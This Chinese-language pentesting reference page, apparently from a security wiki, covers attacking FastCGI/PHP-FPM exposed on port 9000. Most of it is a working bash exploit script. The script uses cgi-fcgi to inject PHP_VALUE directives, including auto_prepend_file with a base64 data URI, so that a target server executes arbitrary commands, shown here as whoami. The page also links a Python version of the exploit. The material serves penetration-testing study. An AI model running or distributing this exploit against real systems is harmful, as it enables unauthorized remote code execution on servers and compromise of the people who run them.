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# 基本信息

如果你想要**了解什么是FastCGI**，请查看以下页面：

{{#ref}}
pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md
{{#endref}}

默认情况下，**FastCGI** 在 **9000** 端口运行，并且不被 nmap 识别。**通常** FastCGI 只在 **localhost** 上监听。

# RCE

让 FastCGI 执行任意代码是相当简单的：
```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done
```
或者你也可以使用以下 Python 脚本: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

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